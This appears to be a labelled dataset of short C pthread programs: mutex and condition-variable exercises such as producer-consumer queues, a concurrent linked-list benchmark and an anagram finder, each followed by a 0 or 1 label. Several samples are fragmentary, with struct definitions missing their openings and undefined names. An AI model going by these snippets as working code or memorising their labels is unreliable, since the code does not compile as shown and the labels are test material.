recv(sock, (char *)byBuffer, sizeof(byBuffer)-1, 0)) < 0) fnHandleError( "fnGIDSMulticastReader", "recv() failed"); msg = byBuffer; for( n=0, c=0; n<recvStringLen; n++, c++ ) { if( byBuffer[n] == 0x1F ) { if ( msg[1] == 0x50 ) { msg[0] = (char)c; msg[1] = GIDS_MESSAGE_TYPE; pthread_mutex_lock( &qARCAMessages_mutex ); fnQput( &qARCAMessages, msg ); iARCAQueueSize++; pthread_mutex_unlock( &qARCAMessages_mutex ); } c=0; msg = byBuffer+n; } else if( byBuffer[n] == 0x03 ) { if ( msg[1] == 0x50 ) { msg[0] = (char)c; msg[1] = GIDS_MESSAGE_TYPE; pthread_mutex_lock( &qARCAMessages_mutex ); fnQput( &qARCAMessages, msg ); iARCAQueueSize++; pthread_mutex_unlock( &qARCAMessages_mutex ); } break; } } memset( byBuffer, 0, recvStringLen+1); } fnDebug( "GIDS Reader Thread closed" ); close(sock); pthread_exit(0); }
0
#include <pthread.h> int timestamp() { struct timeval val; gettimeofday(&val, 0); return val.tv_sec * 1000 + val.tv_usec / 1000; } int num_of_thread = 1; int sum = 0; pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; void* foo(void* p) { int local_sum = 0; for (int i = 0 ; i < 50000000 / num_of_thread; ++i) { local_sum += 2; } pthread_mutex_lock(&mutex); sum += local_sum; pthread_mutex_unlock(&mutex); return 0; } int main() { pthread_t thread[256]; for (num_of_thread = 1; num_of_thread <= 256 ; num_of_thread *= 2) { sum = 0; int start = timestamp(); for (int i = 0 ; i < num_of_thread ; ++i) pthread_create(&thread[i], 0, &foo, 0); for (int i = 0 ; i < num_of_thread ; ++i) pthread_join(thread[i], 0); printf("%d threads, result: %d, %d ms\\n", num_of_thread, sum, timestamp() - start); } }
1
#include <pthread.h> const int MAX_KEY = 100000000; struct list_node_s { int data; struct list_node_s* next; }; struct list_node_s* head = 0; int thread_count; int total_ops; double insert_percent; double search_percent; double delete_percent; pthread_rwlock_t rwlock; pthread_mutex_t count_mutex; int member_count = 0, insert_count = 0, delete_count = 0; void Get_input(int* inserts_in_main_p) { printf("Cuantas inserciones desea hacer ? \\n"); scanf("%d", inserts_in_main_p); printf("Cuantas operacones en total desea hacer? \\n"); scanf("%d", &total_ops); printf("Porcetaje para busquedas: \\n"); scanf("%lf", &search_percent); printf("Porcentajes de inserciones: \\n"); scanf("%lf", &insert_percent); delete_percent = 1.0 - (search_percent + insert_percent); } int Insert(int value) { struct list_node_s* curr = head; struct list_node_s* pred = 0; struct list_node_s* temp; int rv = 1; while (curr != 0 && curr->data < value) { pred = curr; curr = curr->next; } if (curr == 0 || curr->data > value) { temp = malloc(sizeof(struct list_node_s)); temp->data = value; temp->next = curr; if (pred == 0) head = temp; else pred->next = temp; } else { rv = 0; } return rv; } int Member(int value) { struct list_node_s* temp; temp = head; while (temp != 0 && temp->data < value) temp = temp->next; if (temp == 0 || temp->data > value) { return 0; } else { return 1; } } int Delete(int value) { struct list_node_s* curr = head; struct list_node_s* pred = 0; while (curr != 0 && curr->data < value) { pred = curr; curr = curr->next; } if (curr != 0 && curr->data == value) { if (pred == 0) { head = curr->next; free(curr); } else { pred->next = curr->next; free(curr); } return 1; } else { return 0; } } void* Thread_work(void* rank) { long my_rank = (long) rank; int i, val; double which_op; unsigned seed = my_rank + 1; int my_member_count = 0, my_insert_count=0, my_delete_count=0; int ops_per_thread = total_ops/thread_count; for (i = 0; i < ops_per_thread; i++) { which_op = my_drand(&seed); val = my_rand(&seed) % MAX_KEY; if (which_op < search_percent) { pthread_rwlock_rdlock(&rwlock); Member(val); pthread_rwlock_unlock(&rwlock); my_member_count++; } else if (which_op < search_percent + insert_percent) { pthread_rwlock_wrlock(&rwlock); Insert(val); pthread_rwlock_unlock(&rwlock); my_insert_count++; } else { pthread_rwlock_wrlock(&rwlock); Delete(val); pthread_rwlock_unlock(&rwlock); my_delete_count++; } } pthread_mutex_lock(&count_mutex); member_count += my_member_count; insert_count += my_insert_count; delete_count += my_delete_count; pthread_mutex_unlock(&count_mutex); return 0; } int main(int argc, char* argv[]) { long i; int key, success, attempts; pthread_t* thread_handles; int inserts_in_main; unsigned seed = 1; double start, finish; if (argc != 2) Usage(argv[0]); thread_count = strtol(argv[1],0,10); Get_input(&inserts_in_main); i = attempts = 0; while ( i < inserts_in_main && attempts < 2*inserts_in_main ) { key = my_rand(&seed) % MAX_KEY; success = Insert(key); attempts++; if (success) i++; } printf("Inserto %ld nodos en lista\\n", i); thread_handles = malloc(thread_count*sizeof(pthread_t)); pthread_mutex_init(&count_mutex, 0); pthread_rwlock_init(&rwlock, 0); GET_TIME(start); for (i = 0; i < thread_count; i++) pthread_create(&thread_handles[i], 0, Thread_work, (void*) i); for (i = 0; i < thread_count; i++) pthread_join(thread_handles[i], 0); GET_TIME(finish); printf("Tiempo Transcurrido = %e seconds\\n", finish - start); printf("Operaciones Totales = %d\\n", total_ops); printf("Ops Busqueda = %d\\n", member_total); printf("Ops Inserciones = %d\\n", insert_total); printf("Ops Borrado= %d\\n", delete_total); pthread_rwlock_destroy(&rwlock); pthread_mutex_destroy(&count_mutex); free(thread_handles); return 0; }
0
#include <pthread.h> struct jc_type_file_rand_abort { struct jc_type_file_comm_hash *comm_hash; }; static struct jc_type_file_rand_abort global_abort; static int jc_type_file_rand_abort_init( struct jc_comm *jcc ) { return global_abort.comm_hash->init(global_abort.comm_hash, jcc); } static int jc_type_file_rand_abort_execute( struct jc_comm *jcc ) { return global_abort.comm_hash->execute(global_abort.comm_hash, jcc); } static int jc_type_file_rand_abort_copy( unsigned int data_num ) { return global_abort.comm_hash->copy(global_abort.comm_hash, data_num); } static int jc_type_file_rand_abort_comm_init( struct jc_type_file_comm_node *fcn ) { srand(time(0)); return JC_OK; } static int jc_type_file_rand_abort_comm_copy( struct jc_type_file_comm_node *fcn, struct jc_type_file_comm_var_node *cvar ) { return JC_OK; } static char * jc_type_file_rand_abort_comm_execute( char separate, struct jc_type_file_comm_node *fsn, struct jc_type_file_comm_var_node *svar ) { if (svar->last_val) free(svar->last_val); pthread_mutex_lock(&svar->mutex); svar->last_val = jc_file_val_get(fsn->col_num, random() % svar->line_num, separate, svar->cur_ptr, &svar->cur_ptr); pthread_mutex_unlock(&svar->mutex); return svar->last_val; } static int jc_type_file_rand_abort_comm_destroy( struct jc_type_file_comm_node *fcn ) { } static int jc_type_file_rand_abort_comm_var_destroy( struct jc_type_file_comm_var_node *cvar ) { } int json_type_file_rand_abort_uninit() { struct jc_type_file_manage_oper oper; struct jc_type_file_comm_hash_oper comm_oper; memset(&comm_oper, 0, sizeof(comm_oper)); comm_oper.comm_hash_execute = jc_type_file_rand_abort_comm_execute; comm_oper.comm_hash_init = jc_type_file_rand_abort_comm_init; comm_oper.comm_hash_copy = jc_type_file_rand_abort_comm_copy; comm_oper.comm_node_destroy = jc_type_file_rand_abort_comm_destroy; comm_oper.comm_var_node_destroy = jc_type_file_rand_abort_comm_var_destroy; global_abort.comm_hash = jc_type_file_comm_create(0, 0, &comm_oper); if (!global_abort.comm_hash) return JC_ERR; memset(&oper, 0, sizeof(oper)); oper.manage_init = jc_type_file_rand_abort_init; oper.manage_copy = jc_type_file_rand_abort_copy; oper.manage_execute = jc_type_file_rand_abort_execute; return jc_type_file_rand_module_add("rand_in_a_abort", &oper); } int json_type_file_rand_abort_init() { if (global_abort.comm_hash) return jc_type_file_comm_destroy(global_abort.comm_hash); return JC_OK; }
1
#include <pthread.h> extern char **environ; pthread_mutex_t mutex; static pthread_once_t init_done = PTHREAD_ONCE_INIT; static void thread_init(void) { pthread_mutexattr_t attr; pthread_mutexattr_init(&attr); pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE); pthread_mutex_init(&mutex, &attr); pthread_mutexattr_destroy(&attr); } int putenv_r(char *string) { int i, len; char *ptr_key = 0; ptr_key = strchr(string, '='); if (0 == ptr_key) { printf("Param illegal Usage: name=value\\n"); exit(0); } len = ptr_key - string; pthread_once(&init_done, thread_init); pthread_mutex_lock(&mutex); for (i = 0; 0 != environ[i]; i++) { if (0 == strncmp(string, environ[i], len)) { environ[i] = string; pthread_mutex_unlock(&mutex); return 0; } } environ[i] = string; pthread_mutex_unlock(&mutex); return 0; } int main(int argc, char const *argv[]) { const char *STRING = "EDITOR=vim"; const char *KEY = "EDITOR"; char *ptr = 0; char *value = 0; ptr = malloc(sizeof(char) * strlen(STRING) + 1); if (0 == ptr) { printf("malloc failed!\\n"); exit(0); } strcpy(ptr, STRING); putenv_r(ptr); value = getenv(KEY); if (0 != value) { printf("Set %s to %s\\n", value, KEY); } return 0; }
0
#include <pthread.h> struct mt { int num; pthread_mutex_t mutex; pthread_mutexattr_t mutexattr; }; int main(void) { int i; struct mt *mm; pid_t pid; mm=mmap(0,sizeof(*mm),PROT_READ|PROT_WRITE,MAP_SHARED|MAP_ANON,-1,0); memset(mm,0,sizeof(*mm)); pthread_mutexattr_init(&mm->mutexattr); pthread_mutexattr_setpshared(&mm->mutexattr,PTHREAD_PROCESS_SHARED); pthread_mutex_init(&mm->mutex,&mm->mutexattr); pid=fork(); if(pid==0) { for(i=0;i<10;i++) { pthread_mutex_lock(&mm->mutex); (mm->num)++; printf("--child-------num++ %d\\n",mm->num); pthread_mutex_unlock(&mm->mutex); } }else if(pid>0) { for(i=0;i<10;i++) { sleep(1); pthread_mutex_lock(&mm->mutex); mm->num+=2; printf("-----parent------num+=2 %d\\n",mm->num); pthread_mutex_unlock(&mm->mutex); } wait(0); } pthread_mutexattr_destroy(&mm->mutexattr); pthread_mutex_destroy(&mm->mutex); munmap(mm,sizeof(*mm)); return 0; }
1
#include <pthread.h> int q[3]; int qsiz; pthread_mutex_t mq; void queue_init () { pthread_mutex_init (&mq, 0); qsiz = 0; } void queue_insert (int x) { int done = 0; printf ("prod: trying\\n"); while (done == 0) { pthread_mutex_lock (&mq); if (qsiz < 3) { done = 1; q[qsiz] = x; qsiz++; } pthread_mutex_unlock (&mq); } } int queue_extract () { int done = 0; int x = -1, i = 0; printf ("consumer: trying\\n"); while (done == 0) { pthread_mutex_lock (&mq); if (qsiz > 0) { done = 1; x = q[0]; qsiz--; for (i = 0; i < qsiz; i++) q[i] = q[i+1]; __VERIFIER_assert (qsiz < 3); q[qsiz] = 0; } pthread_mutex_unlock (&mq); } return x; } void swap (int *t, int i, int j) { int aux; aux = t[i]; t[i] = t[j]; t[j] = aux; } int findmaxidx (int *t, int count) { int i, mx; mx = 0; for (i = 1; i < count; i++) { if (t[i] > t[mx]) mx = i; } __VERIFIER_assert (mx >= 0); __VERIFIER_assert (mx < count); t[mx] = -t[mx]; return mx; } int source[6]; int sorted[6]; void producer () { int i, idx; for (i = 0; i < 6; i++) { idx = findmaxidx (source, 6); __VERIFIER_assert (idx >= 0); __VERIFIER_assert (idx < 6); queue_insert (idx); } } void consumer () { int i, idx; for (i = 0; i < 6; i++) { idx = queue_extract (); sorted[i] = idx; printf ("m: i %d sorted = %d\\n", i, sorted[i]); __VERIFIER_assert (idx >= 0); __VERIFIER_assert (idx < 6); } } void *thread (void * arg) { (void) arg; producer (); return 0; } int main () { pthread_t t; int i; __libc_init_poet (); for (i = 0; i < 6; i++) { source[i] = __VERIFIER_nondet_int(0,20); printf ("m: init i %d source = %d\\n", i, source[i]); __VERIFIER_assert (source[i] >= 0); } queue_init (); pthread_create (&t, 0, thread, 0); consumer (); pthread_join (t, 0); return 0; }
0
#include <pthread.h> pthread_mutex_t logmutex = PTHREAD_MUTEX_INITIALIZER; void julog(const char *fmt, ...) { struct timeval tv; gettimeofday(&tv, 0); va_list args; char buf[1024] = {0}; pthread_mutex_lock(&logmutex); __builtin_va_start((args)); vsnprintf(buf, sizeof(buf) - 1, fmt, args); fprintf(stdout, "%8lu.%06lu %s", tv.tv_sec, tv.tv_usec, buf); fflush(stdout); pthread_mutex_unlock(&logmutex); ; }
1
#include <pthread.h> int lca_ind,check[20]={0},tree[20]; pthread_mutex_t mutex; void *lca(void *ind) { int p=(int)ind; while(1) { pthread_mutex_lock(&mutex); if(check[p]==1) { lca_ind = p; pthread_mutex_unlock(&mutex); return ; } check[p]=1; p/=2; pthread_mutex_unlock(&mutex); } } int main() { pthread_t t1,t2; int i,id1,id2,nos; printf(" Enter the no:of elements in the binary tree\\n"); scanf("%d",&nos); printf("enter the nodes of the binary tree\\n"); for(i=1;i<=nos;i++) scanf("%d",&tree[i]); printf("enter the nodes for which LCA has to be find out \\n"); scanf("%d%d",&id1,&id2); for(i=1;i<=nos;i++) { if(tree[i]==id1) id1=i; if(tree[i]==id2) id2=i; } pthread_create(&t1,0,lca,(void *)id1); pthread_create(&t2,0,lca,(void *)id2); pthread_join(t1,0); pthread_join(t2,0); if(lca_ind==id1||lca_ind==id2) lca_ind/=2; printf("lca is %d \\n",tree[lca_ind]); return 0; }
0
#include <pthread.h> pthread_mutex_t mut=PTHREAD_MUTEX_INITIALIZER; pthread_cond_t cond=PTHREAD_COND_INITIALIZER; int count=1,Num_Threads; int* ready_threads; void* func(void * arg){ int ID=*(int*)arg,i; count+=1; sleep(count); printf("thread %d ready\\n",ID); ready_threads[ID]=-1; pthread_mutex_lock(&mut); if(all_ready()){ pthread_cond_broadcast(&cond); } else{ pthread_cond_wait(&cond,&mut); } pthread_mutex_unlock(&mut); printf("thread %d finish\\n",ID); } int all_ready(){ int i; for(i=0;i<Num_Threads;i++){ if(ready_threads[i]!=-1) return 0; } return 1; } int main(){ int i,rc; pthread_t* threads; printf("enter number of thread\\n"); scanf("%d",&Num_Threads); ready_threads=malloc(sizeof(int)*Num_Threads); threads=malloc(sizeof(pthread_t)*Num_Threads); for(i=0;i<Num_Threads;i++){ ready_threads[i]=i; rc = pthread_create(&threads[i], 0, func, &ready_threads[i]); if (rc) { printf("ERROR\\n"); exit(-1); } } for(i = 0; i < Num_Threads; i++) { pthread_join(threads[i], 0); } free(threads); free(ready_threads); return 0; }
1
#include <pthread.h> int thread_count; int message_available; int consumer; char* message; pthread_mutex_t mutex; void *Hello(void* rank); int main(int argc, char* argv[]) { long thread; pthread_t* thread_handles; thread_count = strtol(argv[1], 0, 10); message_available = 0; thread_handles = malloc(thread_count*sizeof(pthread_t)); message = malloc(200*sizeof(char)); pthread_mutex_init(&mutex, 0); for (thread = 0; thread < thread_count; thread++) pthread_create(&thread_handles[thread], 0, Hello, (void*) thread); for (thread = 0; thread < thread_count; thread++) pthread_join(thread_handles[thread], 0); free(thread_handles); return 0; } void *Hello(void* rank) { long my_rank = (long) rank; while (1) { pthread_mutex_lock(&mutex); if (my_rank % 2 == 0) { if (message_available == 0) { printf("This is the producer thread rank %ld...\\n", my_rank); sprintf(message, "Producing message for consumer from rank %ld\\n", my_rank); message_available = 1; pthread_mutex_unlock(&mutex); break; } } else { if (message_available == 1) { printf("\\n"); printf("This is the consumer thread rank %ld...\\n", my_rank); printf("Printing message from producer...\\n"); printf("%s", message); printf("\\n"); message_available = 0; pthread_mutex_unlock(&mutex); break; } } pthread_mutex_unlock(&mutex); } return 0; }
0
#include <pthread.h> int state = 0; int counter = 0; pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t conc, conp; int flag = 0; FILE *input_fp; FILE *output_fp; int rPos = 0; int wPos = 0; short value; char ts[13]; } SampleType; SampleType buf[11]; char ts[13]; int isLogging = 0; inline int isQFull() { return (rPos == (wPos+1) % 11); } void enQ(SampleType d) { buf[wPos].value = d.value; strcpy(buf[wPos].ts, d.ts); if (isQFull()) { rPos = (rPos+1) % 11; } wPos = (wPos+1) % 11; } short readQ(int nPosBackFromLast) { int i = (wPos-nPosBackFromLast + 11) % 11; return buf[i].value; } char* getTSFromQ(int pos) { int i = (wPos - pos + 11) % 11; return buf[i].ts; } void ptrQ(int goBackN) { int i,n; n = (rPos-goBackN + 11) % 11; printf("rPos=%d wPos=%d n=%d : \\n\\t", rPos, wPos, n); for (i=0; i<11; i++) { printf("%hd ", buf[n].value); n = (n+1) % 11; } printf("\\n"); printf("Dump Buf (start from index 0): "); for (i=0; i<11; i++) { printf("%hd ", buf[i].value); } } void readSample(void) { if (input_fp == 0) pthread_exit(0); short data = 0; int isEOF; isEOF = fscanf(input_fp,"%hd",&data); if (isEOF == EOF) { if (input_fp != 0) { fclose(input_fp); printf("EOF : File is closed - done .\\n"); input_fp ==0; exit(0); } } struct timeval tv; struct timezone tz; struct tm *tm; gettimeofday(&tv, &tz); tm = localtime(&tv.tv_sec); int msec = tv.tv_usec/1000; char ts[13]; sprintf(ts,"%d:%02d:%02d.%03d", tm->tm_hour, tm->tm_min, tm->tm_sec, msec); SampleType s; s.value = data; strcpy(s.ts, ts); pthread_mutex_lock(&mutex); while (flag != 0) pthread_cond_wait(&conp, &mutex); flag = 1; enQ(s); pthread_cond_signal(&conc); pthread_mutex_unlock(&mutex); } void readFileTimer() { struct itimerval it_val; if (signal(SIGALRM, (void (*)(int))readSample) == SIG_ERR) { printf("Error: unable to catch SIGALRM\\n"); pthread_exit(0); } it_val.it_value.tv_sec = 5/1000; it_val.it_value.tv_usec = (5*1000) % 1000000; it_val.it_interval = it_val.it_value; if (setitimer(ITIMER_REAL, &it_val, 0) == -1) { printf("Error: calling setitimer() failed!\\n"); pthread_exit(0); } while(1) { pause(); } } void *readSamples(void *arg) { input_fp = fopen("samples.bin", "rb"); if (!input_fp) { printf("Error: unable to open file.\\n"); exit(-1); } readFileTimer(); } void *processSamples(void *arg) { short data; while (1) { pthread_mutex_lock(&mutex); while (flag == 0) pthread_cond_wait(&conc, &mutex); flag = 0; data = readQ(1); pthread_cond_signal(&conp); pthread_mutex_unlock(&mutex); unsigned short us_data = data; if (isLogging == 0) { if ((abs(data) >= 10000) && (state == 0) && isQFull()) { isLogging = 1; counter = 5; state = 1; strcpy(ts, getTSFromQ(1)); } else if (abs(data) < 10000) { state = 0; } } else if (isLogging != 0) { if (counter > 0) { counter--; if (counter <= 0) { printf("log: %s: ", ts); int i; for (i=10; i>0; i--) { short d = readQ(i); printf("%hd ", d); } printf("\\n"); isLogging = 0; counter = 0; } } } } } int main(void) { pthread_mutex_init(&mutex, 0); pthread_cond_init(&conc, 0); pthread_cond_init(&conp, 0); pthread_t tid; pthread_attr_t attr; pthread_attr_init(&attr); pthread_create(&tid, &attr, readSamples, 0); pthread_t p_tid; pthread_attr_t p_attr; pthread_attr_init(&p_attr); pthread_create(&p_tid, &p_attr, processSamples, 0); pthread_join(tid, 0); pthread_join(p_tid, 0); printf("threads are terminated.\\n"); return 0; }
1
#include <pthread.h> static int nThreads=0; void mai_set_number_threads(int nthreads) { pthread_mutex_lock(&(sinfo.lock_place)); sinfo.nthreads = nthreads; pthread_mutex_unlock(&(sinfo.lock_place)); } int get_number_threads() { char command[120]; command[0]='\\0'; char temp[10]; int nthreads=0,ID=getpid(); FILE *fp; sprintf(temp,"%i",ID); strcpy(command,"ps -eLf|grep "); strcat(command,temp); strcat(command,"|grep -v grep |wc -l"); fp=popen(command,"r"); fscanf(fp,"%d",&nthreads); fclose(fp); if(nthreads <= 1) return 0; else return nthreads; } int get_num_threads_proc(int ID) { char command[120]; command[0]='\\0'; char temp[10]; int nthreads=0; FILE *fp; sprintf(temp,"%i",ID); strcpy(command,"ps -eLf|grep "); strcat(command,temp); strcat(command,"|grep -v grep |wc -l"); fp=popen(command,"r"); fscanf(fp,"%d",&nthreads); fclose(fp); if(nthreads <= 1) return 0; else return nthreads; } void set_thread_id_omp() { pthread_mutex_lock(&(mai_mutex)); thread_id[omp_get_thread_num()] = tid(); nThreads++; pthread_mutex_unlock(&(mai_mutex)); } void mai_set_thread_id_posix() { pthread_mutex_lock(&(mai_mutex)); thread_id[nThreads] = tid(); nThreads++; pthread_mutex_unlock(&(mai_mutex)); } int get_thread_cpu() { int idxcpu=0; idxcpu = sched_getcpu(); return idxcpu; } void mai_show_thread_ids() { int i; unsigned int pid ; printf("\\n----------- THREADS-------"); for(i=0;i<sinfo.nthreads;i++) { pid = thread_id[i]; printf("\\n Thread id: %d",pid); } printf("\\n---------------------------\\n"); } void bind_threads() { int i,err; unsigned long cpu; unsigned int pid ; if(sinfo.nthreads!=0){ for(i=0;i<sinfo.nthreads;i++) { pid = thread_id[i]; cpu = sinfo.cpus[i]; err=sched_setaffinity(pid,CPU_MASK_SIZE,&cpu); if(err<0){ identify_error(); printf("\\t Erro: bind_threads!"); } } } } void bind_thread_omp() { unsigned long cpu; int err; if(sinfo.nthreads!=0) cpu = sinfo.cpus[omp_get_thread_num()]; else cpu = sinfo.cpus[omp_get_thread_num()%sinfo.ncpus]; err=sched_setaffinity(0,CPU_MASK_SIZE,&cpu); if(err<0){ identify_error(); printf("\\t Erro: bind_thread_omp!"); } } void bind_thread_posix(pid_t tid) { unsigned long cpu; int err; cpu = sinfo.cpus[tid%sinfo.ncpus]; err=sched_setaffinity(tid,CPU_MASK_SIZE,&cpu); if(err<0){ identify_error(); printf("\\t Erro: bind_thread_posix!"); } } void mai_migrate_thread(pid_t id,unsigned long cpu) { int i,err,find=0; double TimeI; pthread_mutex_lock(&(sinfo.lock_place)); TimeI = mai_my_second(); err=sched_setaffinity(id,MASK_SIZE,&cpu); time_last_tmig = mai_my_second() - TimeI; pthread_mutex_unlock(&(sinfo.lock_place)); if(err<0){ identify_error(); printf("\\t Erro: migrate_threads!"); } }
0
#include <pthread.h> struct arg_struct{ int id_init; int id_fin; int thread_id; }; struct anagram{ char word1[50]; char word2[50]; }anagrams[30000]; char words[120000][50]; int anagrams_id = 0; pthread_mutex_t lock; int check_anagram(char a[], char b[]) { int first[26] = {0}, second[26] = {0}, c = 0; while (a[c] != '\\0') { first[a[c]-'a']++; c++; } c = 0; while (b[c] != '\\0') { second[b[c]-'a']++; c++; } for (c = 0; c < 26; c++) { if (first[c] != second[c]) return 0; } return 1; } int readSplit(int fin, char* buff, char s, int maxlen) { int i = 0; int rlen = 1; char c = 'a'; while (c != s && rlen == 1 && i < maxlen) { rlen = read(fin, &c, 1); if (c != s && rlen == 1) { buff[i] = c; i++; } } if (i < maxlen) { buff[i] = '\\0'; if (rlen == 1) return i; else return -1; } else return -1; } void* calculateAnagrams(void *arguments){ struct arg_struct *args = arguments; int x , y ; for(x = args->id_init ; x < args->id_fin ; ++x) for(y = x+1 ; y < args->id_fin;++y) if( check_anagram(words[x],words[y])){ pthread_mutex_lock(&lock); strcpy(anagrams[anagrams_id].word1,words[x]); strcpy(anagrams[anagrams_id].word2 , words[y]); anagrams_id++; pthread_mutex_unlock(&lock); } free(args); } int main(){ if( pthread_mutex_init(&lock,0) != 0){ printf("Error creating the lock\\n"); } struct timeval start, end; long mtime, seconds, useconds; gettimeofday(&start, 0); int len = 5; int i = 0 , lasti = 0; int f = open("US.txt", O_RDONLY); int thread_id = 0; pthread_t tid[50] ; int exit = 0; while(!exit){ if(readSplit(f, words[i], '\\n', 50) == -1)exit = 1; if(!exit && strlen(words[i]) <= len)continue; else if(!exit){ int ptr = 0,delete_word = 0; while(words[i][ptr] != '\\0'){ if(words[i][ptr] < 'a' || words[i][ptr] > 'z'){ delete_word = 1; break; } ++ptr; } if(delete_word)continue; } if(i == 0){ ++i; continue; } if(exit || ((int)strlen(words[i])) != ((int)strlen(words[i-1]))){ struct arg_struct *args; args = (struct arg_struct *)malloc(sizeof(struct arg_struct)); args->thread_id = thread_id; args->id_init = lasti; args->id_fin = i; lasti = i; if(pthread_create(&tid[thread_id], 0,calculateAnagrams,(void *)args)){ printf("Error creatign the thread\\n"); return 1; } thread_id++; } ++i; } for(i = 0 ; i < thread_id ; ++i) if(pthread_join(tid[i],0)) { printf("Error joining thread\\n"); return 2; } FILE *fp; fp=fopen("TheThreadedOutput.txt", "w"); for(i = 0;i < anagrams_id;++i){ fprintf(fp , "\\"%s-%s\\" are anagrams of %d letters\\n",anagrams[i].word1,anagrams[i].word2,(int)strlen(anagrams[i].word2)); } fclose(fp); pthread_mutex_destroy(&lock); printf("Total:%d\\n",anagrams_id); gettimeofday(&end, 0); seconds = end.tv_sec - start.tv_sec; useconds = end.tv_usec - start.tv_usec; mtime = ((seconds) * 1000 + useconds/1000.0) + 0.5; printf("Elapsed time: %ld milliseconds\\n", mtime); }
1
#include <pthread.h> int sum; int id; char message[50]; pthread_t thread; } MThread; pthread_mutex_t condition_mutex = PTHREAD_MUTEX_INITIALIZER; void *thread_function (void *arg) { MThread *thread = arg; int i; sleep(rand()); pthread_mutex_lock( &condition_mutex ); for(i = 0; i < (thread->id+1); i++) { sleep(1); sum += 5; } pthread_mutex_unlock( &condition_mutex ); return 0; } int main(void) { int id; srand(time(0)); MThread threads[5]; for(id = 0; id < 5; id++) { threads[id].id = id; pthread_create(&(threads[id].thread), 0, &thread_function, (void*) &(threads[id])); } for(id = 0; id < 5; id++) { pthread_join(threads[id].thread, 0); } printf("SUm is %d\\n", sum); return 0; }
0
#include <pthread.h> pthread_mutex_t mutex; sem_t lock1, unlock1; sem_t full, empty; int stack[3]; int cnt; pthread_t pid,cid; pthread_attr_t attr; void *producer(void *param); void *consumer(void *param); void initializeData() { pthread_mutex_init(&mutex, 0); sem_init(&full, 0, 0); sem_init(&empty, 0, 3 -1); cnt = 0; } void *producer(void *param) { int item; while(1) { int rNum = 1; sleep(rNum); item = 10; pthread_mutex_lock(&mutex); sem_wait(&full); if(push(item)) { printf("\\n Stack Full so producer has to wait.........!!"); } else printf("\\nproducer produced : %d\\n", item); sem_post(&empty); pthread_mutex_unlock(&mutex); } } void *consumer(void *param) { int item; while(1) { int rNum =2; sleep(rNum); item = 10; pthread_mutex_lock(&mutex); sem_wait(&empty); if(pop(&item)) { printf(" \\n Stack Empty......!!!"); } else printf("Consumer consumed : %d\\n", item); sem_post(&full); pthread_mutex_unlock(&mutex); } } int push(int item) { if(cnt < 3) { stack[cnt] = item; cnt++; return 0; } else return 1; } int pop(int *item) { if(cnt > 0) { *item = stack[(cnt-1)]; cnt--; return 0; } else return 1; } int main() { initializeData(); sem_init(&lock1,0,0); sem_init(&unlock1,0,0); pthread_create(&pid,0,producer,0); pthread_create(&cid,0,consumer,0); pthread_join(pid,0); pthread_join(cid,0); exit(0); }
1
#include <pthread.h> int sum; int cpt=0; pthread_mutex_t mutex, mutex_fin; pthread_cond_t cond_print, cond_fin; int fin_flag=0, print_flag=0; void * thread_rand(void * i){ int random_val = (int) (10*((double)rand())/ 32767); printf("tid: %u;\\trandom_val: %d\\n",(unsigned int)pthread_self(), random_val); pthread_mutex_lock(&mutex); sum += random_val; cpt++; if(cpt==8){ print_flag=1; pthread_cond_signal(&cond_print); } pthread_mutex_unlock(&mutex); return 0; } void * print_thread(void * arg){ pthread_mutex_lock(&mutex); while(!print_flag){ pthread_cond_wait(&cond_print,&mutex); } printf("Somme : %d\\n",sum); pthread_mutex_unlock(&mutex); pthread_mutex_lock(&mutex_fin); fin_flag=1; pthread_cond_signal(&cond_fin); pthread_mutex_unlock(&mutex_fin); return 0; } int main(){ int i; pthread_t t[8 +1]; pthread_mutex_init(&mutex, 0); pthread_mutex_init(&mutex_fin, 0); pthread_cond_init(&cond_print,0); pthread_cond_init(&cond_fin,0); sum = 0; srand(time(0)); pthread_attr_t attr; pthread_attr_init(&attr); pthread_attr_setdetachstate(&attr,PTHREAD_CREATE_DETACHED); if(pthread_create(&(t[8]),&attr,print_thread,0) != 0){ fprintf(stderr, "pthread creation or detach failed.\\n"); return 1; } for(i=0;i<8;i++){ if(pthread_create(&(t[i]),&attr,thread_rand,0) != 0){ fprintf(stderr, "pthread creation or detach failed.\\n"); return 1; } } pthread_mutex_lock(&mutex_fin); while(!fin_flag){ pthread_cond_wait(&cond_fin,&mutex_fin); } pthread_mutex_unlock(&mutex_fin); return 0; }
0
#include <pthread.h> void * mirroringPI (void * arg) { uint8_t buffer_send_receive[DATA_SIZE_MAX]; assert (SPI_init() >=0); init_data(); clock_gettime(CLOCK_REALTIME, &T1); while (1) { waitPeriod (1000000, &T1, &T2); clock_gettime(CLOCK_REALTIME, &T1); ; int i; for (i=0;i<sizeof(data_PI_t);i++) { pthread_mutex_lock(&m_data_PI); buffer_send_receive[i] = ((uint8_t*)pdata_PI)[i]; pthread_mutex_unlock(&m_data_PI); } for (i=sizeof(data_PI_t);i<DATA_SIZE_MAX;i++) { buffer_send_receive[i] = 0x00; } send_error = SPI_send(buffer_send_receive, DATA_SIZE_MAX); if (send_error == SPI_CANARY_ERROR) canary_error_count++; if (send_error == SPI_CRC_ERROR) crc_error_count++; if ((send_error != SPI_CANARY_ERROR) && (send_error != SPI_CRC_ERROR)) { int j; for (j = 0;j < DATA_SIZE_MAX;j++) { pthread_mutex_lock(&m_data_STM); ((uint8_t*)pdata_STM)[j] = buffer_send_receive[j]; pthread_mutex_unlock(&m_data_STM); } } mirroring_cycles_count++; } }
1
#include <pthread.h>extern void __VERIFIER_error() ; int element[(20)]; int head; int tail; int amount; } QType; pthread_mutex_t m; int __VERIFIER_nondet_int(); int stored_elements[(20)]; _Bool enqueue_flag, dequeue_flag; QType queue; int init(QType *q) { q->head=0; q->tail=0; q->amount=0; } int empty(QType * q) { if (q->head == q->tail) { printf("queue is empty\\n"); return (-1); } else return 0; } int full(QType * q) { if (q->amount == (20)) { printf("queue is full\\n"); return (-2); } else return 0; } int enqueue(QType *q, int x) { q->element[q->tail] = x; q->amount++; if (q->tail == (20)) { q->tail = 1; } else { q->tail++; } return 0; } int dequeue(QType *q) { int x; x = q->element[q->head]; q->amount--; if (q->head == (20)) { q->head = 1; } else q->head++; return x; } void *t1(void *arg) { int value, i; pthread_mutex_lock(&m); if (enqueue_flag) { for( i=0; i<(20); i++) { value = __VERIFIER_nondet_int(); enqueue(&queue,value); stored_elements[i]=value; } enqueue_flag=(0); dequeue_flag=(1); } 